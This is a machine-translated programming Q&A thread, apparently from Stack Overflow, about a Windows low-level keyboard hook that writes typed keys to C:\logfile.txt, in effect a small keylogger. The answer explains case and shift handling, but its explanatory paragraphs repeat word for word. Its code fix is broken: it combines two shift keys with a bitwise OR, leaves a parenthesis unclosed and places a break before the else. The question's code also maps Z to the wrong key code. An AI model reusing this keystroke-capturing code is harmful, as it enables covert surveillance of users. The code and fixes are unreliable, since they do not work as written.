下面的功能是记录"0","z"和"1"确定...但它没有捕获"Z"(shift-z)...任何帮助将不胜感激...
__declspec(dllexport) LRESULT CALLBACK HookProc (UINT nCode, WPARAM wParam, LPARAM lParam) { if ((nCode == HC_ACTION) && (wParam == WM_KEYUP)) { // This Struct gets infos on typed key KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam); // Bytes written counter for WriteFile() DWORD Counter; wchar_t Logger[1]; switch (hookstruct.vkCode) { case 060: Logger[0] = L'0'; break; case 061: Logger[0] = L'1'; break; case 90: Logger[0] = L'z'; break; case 116: Logger[0] = L'Z'; break; } // Opening of a logfile. Creating it if it does not exists HANDLE hFile = CreateFile(L"C:\\logfile.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); // put the file pointer to the end SetFilePointer(hFile,NULL,NULL,FILE_END); // Write the hFile typed in logfile WriteFile(hFile,&Logger,sizeof(Logger),&Counter,NULL); //WriteFile(hFile,&hookstruct.vkCode,sizeof(hookstruct.vkCode),&Counter,NULL); // Close the file CloseHandle(hFile); } }
Rob Kennedy.. 10
键盘不发送字符.它发送密钥.无论您是键入z还是Z,您仍然按下相同的键,并且该键两次都具有相同的VK代码.
您还应该在按下或释放Shift键时收到通知.您可以使用这些通知将击键转换为字符.大写锁定状态也与此相关.您可能还会担心死锁.
您可以检查是否按下了Shift键.GetAsyncKeyState
会告诉你钥匙的状态,现在,并GetKeyState
会告诉你钥匙的状态,从消息队列中删除的最后一条消息的.
键盘不发送字符.它发送密钥.无论您是键入z还是Z,您仍然按下相同的键,并且该键两次都具有相同的VK代码.
您还应该在按下或释放Shift键时收到通知.您可以使用这些通知将击键转换为字符.大写锁定状态也与此相关.您可能还会担心死锁.
您可以检查是否按下了Shift键.GetAsyncKeyState
会告诉你钥匙的状态,现在,并GetKeyState
会告诉你钥匙的状态,从消息队列中删除的最后一条消息的.
Z没有虚拟键码.尝试这样的事情:
case 90: if(GetKeyState(VK_LSHIFT|VK_RSHIFT) Logger[0] = L'Z'; break; else Logger[0] = L'z'; break;